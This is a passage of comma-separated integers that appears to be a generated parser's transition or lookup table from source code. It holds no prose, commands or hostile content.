7590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22803,18836,32335,31647,34666,32351,32367,32417,22087,18888,32433,19335,32451,27211,32479,27107,32500,22121,24401,32551,20085,32572,18866,22287,23753,18888,18888,32602,32665,27211,32693,27211,26972,32713,32729,24401,32764,24401,25877,32785,34768,18888,27390,32823,24594,24855,32857,24890,32878,32904,27211,32942,32977,24401,33e3,29313,24401,30790,26206,27666,33904,18888,23086,36353,27211,33036,27211,30756,24012,32153,24401,33056,24401,35861,18888,18888,30354,27972,27211,27211,33800,17590,20145,24401,24401,34638,20811,18888,18888,33074,27211,27212,36167,24402,19868,25659,18888,18889,27211,27211,19719,23889,19868,31018,18890,27211,31833,19406,34616,24169,33093,33123,33157,27856,31741,23862,26552,34302,19837,25782,19760,31015,23516,31008,33178,19973,27963,23497,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22818,18836,33205,28113,33240,34097,33275,29183,22087,33318,35438,18888,18890,33345,26391,33382,27211,22121,33399,28072,33442,24401,18866,22232,18888,33459,18888,18888,33480,33498,25175,27211,27211,26704,22164,24775,35239,24401,24401,25914,29580,18888,18888,31109,25211,33520,33539,27211,27211,33556,36284,19484,33585,24401,24401,33604,32556,19628,18888,18888,31262,33658,23086,27211,27211,33679,27211,30756,24012,24401,24401,33716,24401,26854,27480,18888,33752,27855,33259,34701,27211,17590,32102,24782,23807,24401,18887,18888,18888,27211,27211,27212,33773,36105,19868,25659,18888,23368,27211,29157,19719,23889,34454,29286,18890,33794,25302,33816,19447,34079,33853,31862,31017,27856,31741,33877,28920,33937,19837,30461,34002,22276,36041,34029,22105,19419,27963,19659,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22833,18836,34064,32616,34113,34141,34157,34192,34208,32216,36013,31549,31952,34224,34248,34287,29330,34350,34389,34413,34481,26793,18866,26187,29635,22293,18888,36654,25783,34522,34544,34566,25821,35072,22164,34586,34609,34632,19604,24036,36644,36674,24681,18888,32401,34654,31339,34682,34698,27211,34717,34753,28053,34812,34836,24401,33619,19628,34858,32236,34906,24598,33523,27612,34890,34922,24732,29246,36717,33634,34465,32984,34168,26750,34957,18888,18888,34994,35010,27211,33040,17590,29913,35035,24401,36304,25482,30171,35883,35068,35088,26627,20441,31173,35123,35143,35176,24640,30492,29358,19719,35192,35219,25384,28801,35255,35279,32586,34496,23086,23330,29061,31017,27856,31741,19840,25783,31738,24547,25164,35315,31796,35353,34316,22105,19419,27963,24091,28630,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22848,18836,22059,34782,34088,35389,21008,35405,35421,35454,18888,18888,23466,35487,27211,27211,27211,35513,31154,24401,24401,24401,35560,18888,26863,36664,35601,24872,25783,30389,23536,26250,35647,35666,22164,19522,19564,30582,35682,27697,35575,29114,18888,18888,18888,18890,27211,35702,27211,27211,27211,35723,24401,35527,24401,24401,24401,19628,30184,18888,18888,18888,23086,35739,27211,27211,27211,29139,22938,24401,24401,24401,24401,23898,35756,18888,18888,25025,35778,27211,27211,17590,20064,35795,24401,24401,18887,18888,18888,27211,27211,27212,24016,24402,19868,25659,18888,18889,27211,27211,19719,23889,19868,23917,18890,34550,31833,22262,19447,23086,23330,26418,31017,27856,31741,19840,25783,35812,19837,27187,35841,33135,23516,31008,22105,22148,28712,19659,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22863,18836,22059,35877,28723,34097,31164,29183,22087,26758,18888,22592,18890,23989,27211,29812,27211,22121,33778,24401,31421,24401,18866,18888,18888,26872,18888,18888,25783,27211,30732,27211,27211,35072,22164,24401,24908,24401,24401,24036,31693,18888,18888,18888,18888,18890,27211,27211,27211,27211,27211,19484,24401,24401,24401,24401,24401,19628,18888,18888,18888,18888,23086,27211,27211,27211,27211,30756,24012,24401,24401,24401,24401,26750,18888,18888,18888,27855,27211,27211,27211,17590,24017,24401,24401,24401,18887,18888,18888,27211,27211,27212,24016,24402,19868,25659,18888,18889,27211,27211,19719,23889,19868,31018,18890,27211,31833,19406,19447,23086,23330,19828,31017,27856,31741,19840,25783,31738,19837,25782,19760,31015,23516,31008,22105,19419,27963,19659,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22878,18836,22059,27837,27857,35899,24401,35915,22087,18888,18888,18888,18890,27211,27211,27211,27211,22121,24401,24401,24401,24401,18866,18888,18888,18888,18888,18888,25783,27211,27211,27211,27211,35072,22164,24401,24401,24401,24401,24036,31602,18888,18888,18888,18888,26223,27211,27211,27211,27211,27211,19484,35931,24401,24401,24401,24401,19628,18888,28136,18888,18888,35949,27211,32862,27211,32697,30756,24012,24401,32283,24401,32128,26750,18888,18888,18888,27855,27211,27211,27211,17590,24017,24401,24401,24401,18887,18888,18888,27211,27211,27212,24016,24402,19868,25659,18888,18889,27211,27211,19719,23889,19868,31018,18890,27211,31833,19406,19447,23086,23330,19828,31017,27856,31741,19840,25783,31738,19837,25782,19760,31015,23516,31008,22105,19419,27963,19659,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22893,18836,22059,35974,34882,34097,33960,29183,35996,18888,23311,18888,36029,27211,27211,36064,36081,22121,24401,24401,36104,33950,18866,18888,18888,18888,18888,18888,25783,27211,27211,27211,27211,35072,22164,24401,24401,24401,24401,24036,36121,18888,25559,18888,18888,18890,27211,27211,30313,27211,27211,36154,24401,24401,34397,24401,24401,19628,28250,18888,18888,18888,23086,30926,27211,27211,27211,26983,24012,33642,24401,24401,24401,26750,18888,18888,18888,27855,27211,27211,27211,17590,24017,24401,24401,24401,18887,18888,18888,27211,27211,27212,24016,24402,19868,25659,18888,18889,27211,27211,19719,23889,19868,31018,18890,27211,31833,19406,19447,23086,23330,19828,31017,27856,31741,19840,25783,31738,19837,25782,19760,31015,23516,31008,22105,19419,27963,19659,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22339,18836,22059,19354,27857,36190,24401,36206,22087,18888,18888,18888,18007,27211,27211,27211,24724,22121,24401,24401,24401,30827,18866,18888,36222,18888,28795,18888,25783,35100,27211,27429,27211,35072,22164,30836,24401,24499,24401,24036,31693,18888,36244,18888,18888,18890,27211,36088,27211,27211,27211,19484,24401,28036,24401,24401,24401,19628,18888,18888,35631,18888,35762,27211,27211,36277,27211,34730,24012,24401,24401,36300,24401,36320,18888,18888,18888,27855,27211,27211,27211,17590,24017,24401,24401,24401,25712,18888,18888,36346,27211,27212,19184,24402,19868,25659,32029,18889,27211,33359,19719,23889,36369,31018,18890,27211,31833,19406,19447,23086,23330,19828,31017,27856,31741,19840,25783,31738,19837,25782,19760,31015,23516,31008,22105,19419,27963,19659,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22384,18836,36389,19008,19233,20367,36434,17173,17595,36437,17330,17349,18921,17189,17208,17281,20355,36453,17308,17327,17346,18918,18452,21880,18649,18665,19006,17265,22033,20765,17421,20535,17192,20362,21726,17311,18658,18999,19008,17447,32952,17497,17520,17251,36411,17782,20682,17714,18326,17543,17559,17585,21887,17504,17527,17258,36418,21915,21940,17611,36467,18217,17633,17661,21190,17703,21176,17730,34737,21946,17617,36473,18223,36531,17477,19152,17860,17892,17675,17753,17832,17590,21620,17481,19156,17864,18731,17918,36551,17292,17934,17979,18727,18681,18405,18621,18039,18056,18072,18117,18143,18706,18052,18209,18250,18239,18266,17963,18296,18312,18376,17807,36403,19232,17796,17163,30642,18392,17816,32961,17645,18805,18421,18437,18519,17393,18747,18505,18535,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22369,18836,18987,19008,19233,20367,19008,21737,30763,36437,17330,17349,18921,17189,17208,17281,20355,17949,17308,17327,17346,18918,18452,21880,18649,18665,19006,17265,22033,20765,17421,20535,17192,18127,21873,17311,18658,18999,19008,17447,32952,17497,17520,17251,36411,17782,20682,17714,18326,17543,17559,17585,21887,17504,17527,17258,36418,21915,21940,17611,36467,18217,17633,17661,21190,17703,21176,17730,34737,21946,17617,36473,18223,36531,17477,19152,17860,17892,17675,17753,17832,17590,21620,17481,19156,17864,18731,17918,36551,17292,17934,17979,18727,18681,18405,18621,18039,18056,18072,18117,18143,18706,18052,18209,18250,18239,18266,17963,18296,18312,18376,17807,36403,19232,17796,17163,30642,18392,17816,32961,17645,18805,18421,18437,18519,17393,18747,18505,18535,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,21813,18836,36489,19008,19233,20367,19008,17173,17737,36437,17330,17349,18921,17189,17208,17281,20355,17768,17308,17327,17346,18918,18452,21880,18649,18665,19006,17265,22033,20765,17421,20535,17192,20543,22022,17311,18658,18999,19008,17447,32952,17497,17520,17251,36411,17782,20682,17714,18326,17543,17559,17585,21887,17504,17527,17258,36418,21915,21940,17611,36467,18217,17633,17661,21190,17703,21176,17730,34737,21946,17617,36473,18223,36531,17477,19152,17860,17892,17675,17753,17832,17590,21620,17481,19156,17864,18731,17918,36551,17292,17934,17979,18727,18681,18405,18621,18039,18056,18072,18117,18143,18706,18052,18209,18250,18239,18266,17963,18296,18312,18376,17807,36403,19232,17796,17163,30642,18392,17816,32961,17645,18805,18421,18437,18519,17393,18747,18505,18535,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,21828,18836,18987,19008,19233,20367,19008,17173,30763,36437,17330,17349,18921,17189,17208,17281,20355,36517,17308,17327,17346,18918,18452,21880,18649,18665,19006,17265,22033,20765,17421,20535,17192,18127,21873,17311,18658,18999,19008,17447,32952,17497,17520,17251,36411,17782,20682,17714,18326,17543,17559,17585,21887,17504,17527,17258,36418,21915,21940,17611,36467,18217,17633,17661,21190,17703,21176,17730,34737,21946,17617,36473,18223,36531,17477,19152,17860,17892,17675,17753,17832,17590,21620,17481,19156,17864,18731,17918,36551,17292,17934,17979,18727,18681,18405,18621,18039,18056,18072,18117,18143,18706,18052,18209,18250,18239,18266,17963,18296,18312,18376,17807,36403,19232,17796,17163,30642,18392,17816,32961,17645,18805,18421,18437,18519,17393,18747,18505,18535,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,21828,18836,19307,18888,27857,30756,24401,29183,28015,18888,18888,18888,18890,27211,27211,27211,27211,36567,24401,24401,24401,24401,22953,18888,18888,18888,18888,18888,25783,27211,27211,27211,27211,28537,36603,24401,24401,24401,24401,24036,18881,18888,18888,18888,18888,18890,27211,27211,27211,27211,27211,19484,24401,24401,24401,24401,24401,19628,18888,18888,18888,18888,23086,27211,27211,27211,27211,30756,24012,24401,24401,24401,24401,26750,18888,18888,18888,27855,27211,27211,27211,17590,24017,24401,24401,24401,18887,18888,18888,27211,27211,27212,24016,24402,19868,25659,18888,18889,27211,27211,19719,23889,19868,31018,18890,27211,31833,19406,19447,23086,23330,19828,31017,27856,31741,19840,25783,31738,19837,25782,19760,31015,23516,31008,22105,19419,27963,19659,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,36629,36690,18720,19008,19233,20367,19008,17454,17595,36437,17330,17349,18921,17189,17208,17281,20355,17223,17308,17327,17346,18918,36754,21880,18649,18665,19006,17265,22033,20765,17421,20535,17192,20362,21726,17311,18658,18999,19008,17447,32952,17497,17520,17251,36411,17782,20682,17714,18326,17543,17559,17585,21887,17504,17527,17258,36418,21915,21940,17611,36467,18217,17633,17661,21190,17703,21176,17730,34737,21946,17617,36473,18223,36531,17477,19152,17860,17892,17675,17753,17832,17590,21620,17481,19156,17864,18731,17918,36551,17292,17934,17979,18727,18681,18405,18621,18039,18056,18072,18117,18143,18706,18052,18209,18250,18239,18266,17963,18296,18312,18376,17807,36403,19232,17796,17163,30642,18392,17816,32961,17645,18805,18421,18437,18519,17393,18747,18505,18535,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,0,94242,0,118820,0,2211840,102439,0,0,106538,98347,0,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2482176,2158592,2158592,2158592,2158592,2158592,2158592,0,40976,0,18,18,24,24,27,27,27,2207744,2404352,2412544,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,3104768,2605056,2207744,2207744,2207744,2207744,2207744,2207744,2678784,2207744,2695168,2207744,2703360,2207744,2711552,2752512,2207744,0,0,0,0,0,0,2166784,0,0,0,0,0,0,2158592,2158592,3170304,3174400,2158592,0,139,0,2158592,2158592,2158592,2158592,2158592,2424832,2158592,2158592,2158592,2748416,2756608,2777088,2801664,2158592,2158592,2158592,2863104,2891776,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,3104768,2158592,2158592,2158592,2158592,2158592,2158592,2207744,2785280,2207744,2809856,2207744,2207744,2842624,2207744,2207744,2207744,2899968,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2473984,2207744,2207744,2494464,2207744,2207744,2207744,2523136,2158592,2404352,2412544,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2564096,2158592,2158592,2605056,2158592,2158592,2158592,2158592,2158592,2158592,2678784,2158592,2695168,2158592,2703360,2158592,2711552,2752512,2158592,2158592,2785280,2158592,2158592,2785280,2158592,2809856,2158592,2158592,2842624,2158592,2158592,2158592,2899968,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,18,0,0,0,0,0,0,0,2211840,0,0,641,0,2158592,0,0,0,0,0,0,0,0,2211840,0,0,32768,0,2158592,0,2158592,2158592,2158592,2383872,2158592,2158592,2158592,2158592,3006464,2383872,2207744,2207744,2207744,2207744,2158877,2158877,2158877,2158877,0,0,0,2158877,2572573,2158877,2158877,0,2207744,2207744,2596864,2207744,2207744,2207744,2207744,2207744,2207744,2641920,2207744,2207744,2207744,2207744,2207744,2207744,2207744,0,0,0,167936,0,0,2162688,0,0,3104768,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,0,0,0,2146304,2146304,2224128,2224128,2232320,2232320,2232320,641,0,0,0,0,0,0,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2531328,2158592,2158592,2158592,2158592,2158592,2617344,2158592,2158592,2158592,2158592,2441216,2445312,2158592,2158592,2158592,2158592,2158592,2158592,2502656,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2580480,2158592,2158592,2158592,2158592,2621440,2158592,2580480,2158592,2158592,2158592,2158592,2621440,2158592,2158592,2158592,2158592,2158592,2158592,2699264,2158592,2158592,2158592,2158592,2158592,2748416,2756608,2777088,2801664,2207744,2863104,2891776,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,3018752,2207744,3043328,2207744,2207744,2207744,2207744,3080192,2207744,2207744,3112960,2207744,2207744,2207744,2207744,2207744,2207744,2207744,0,0,0,172310,279,0,2162688,0,0,2207744,2207744,2207744,3186688,2207744,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2158592,2158592,2158592,2404352,2412544,2158592,2510848,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2584576,2158592,2609152,2158592,2158592,2629632,2158592,2158592,2158592,2686976,2158592,2715648,2158592,2158592,3121152,2158592,2158592,2158592,3149824,2158592,2158592,3170304,3174400,2158592,2367488,2207744,2207744,2207744,2207744,2158592,2158592,2158592,2158592,0,0,0,2158592,2572288,2158592,2158592,0,2207744,2207744,2207744,2433024,2207744,2453504,2461696,2207744,2207744,2207744,2207744,2207744,2207744,2510848,2207744,2207744,2207744,2207744,2207744,2531328,2207744,2207744,2207744,2207744,2207744,2617344,2207744,2207744,2207744,2207744,2158592,2158592,2158592,2158592,0,0,0,2158592,2572288,2158592,2158592,1508,2715648,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2867200,2207744,2904064,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2580480,2207744,2207744,2207744,2207744,2621440,2207744,2207744,2207744,3149824,2207744,2207744,3170304,3174400,2207744,0,0,0,0,0,0,0,0,0,0,138,2158592,2158592,2158592,2404352,2412544,2707456,2732032,2207744,2207744,2207744,2822144,2826240,2207744,2895872,2207744,2207744,2924544,2207744,2207744,2973696,2207744,0,0,0,0,0,0,2166784,0,0,0,0,0,285,2158592,2158592,3112960,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,3186688,2158592,2207744,2207744,2158592,2158592,2158592,2158592,2158592,0,0,0,2158592,2158592,2158592,2158592,0,0,2535424,2543616,2158592,2158592,2158592,0,0,0,2158592,2158592,2158592,2990080,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2572288,2981888,2207744,2207744,3002368,2207744,3047424,3063808,3076096,2207744,2207744,2207744,2207744,2207744,2207744,2207744,3203072,2708960,2732032,2158592,2158592,2158592,2822144,2827748,2158592,2895872,2158592,2158592,2924544,2158592,2158592,2973696,2158592,2981888,2158592,2158592,3002368,2158592,3047424,3063808,3076096,2158592,2158592,2158592,2158592,2158592,2158592,2158592,3203072,2981888,2158592,2158592,3003876,2158592,3047424,3063808,3076096,2158592,2158592,2158592,2158592,2158592,2158592,2158592,3203072,2207744,2207744,2207744,2207744,2207744,2424832,2207744,2207744,2207744,2207744,2207744,2207744,2207744,20480,0,0,0,0,0,2162688,20480,0,2523136,2527232,2158592,2158592,2576384,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2908160,2527232,2207744,2207744,2576384,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2908160,2207744,0,0,0,0,0,0,2166784,0,0,0,0,0,286,2158592,2158592,0,0,2158592,2158592,2158592,2158592,2633728,2658304,0,0,2740224,2744320,0,2834432,2207744,2207744,2977792,2207744,2207744,2207744,2207744,3039232,2207744,2207744,2207744,2207744,2207744,2207744,3158016,0,0,29315,0,0,0,0,45,45,45,45,45,933,45,45,45,45,442,45,45,45,45,45,45,45,45,45,67,67,2494464,2158592,2158592,2158592,2524757,2527232,2158592,2158592,2576384,2158592,2158592,2158592,2158592,2158592,2158592,1504,2158592,2498560,2158592,2158592,2158592,2158592,2568192,2158592,2592768,2625536,2158592,2158592,2674688,2736128,2158592,2158592,0,2158592,2912256,2158592,2158592,2158592,2158592,2158592,2158592,2158592,3108864,2158592,2158592,3133440,3145728,3153920,2375680,2379776,2207744,2207744,2420736,2207744,2449408,2207744,2207744,2207744,2498560,2207744,2207744,2207744,2207744,2568192,2207744,0,0,0,0,0,0,2166784,0,0,0,0,0,551,2158592,2158592,2158592,2158592,2207744,2506752,2207744,2207744,2207744,2207744,2207744,2158592,2506752,0,2020,2158592,2592768,2625536,2207744,2207744,2674688,2736128,2207744,2207744,2207744,2912256,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,0,542,0,544,2207744,3108864,2207744,2207744,3133440,3145728,3153920,2375680,2379776,2158592,2158592,2420736,2158592,2449408,2158592,2158592,2158592,2158592,2158592,3186688,2158592,0,641,0,0,0,0,0,0,2367488,2158592,2498560,2158592,2158592,1621,2158592,2158592,2568192,2158592,2592768,2625536,2158592,2158592,2674688,0,0,0,0,0,1608,97,97,97,97,97,97,97,97,97,97,1107,97,97,1110,97,97,3133440,3145728,3153920,2158592,2408448,2416640,2158592,2465792,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,3014656,2158592,2158592,3051520,2158592,2158592,3100672,2158592,2158592,3121152,2158592,2158592,2158592,3149824,2416640,2207744,2465792,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2207744,2633728,2658304,2740224,2744320,2834432,2949120,2158592,2985984,2158592,2998272,2158592,2158592,2158592,3129344,2207744,2408448,2949120,2207744,2985984,2207744,2998272,2207744,2207744,2207744,3129344,2158592,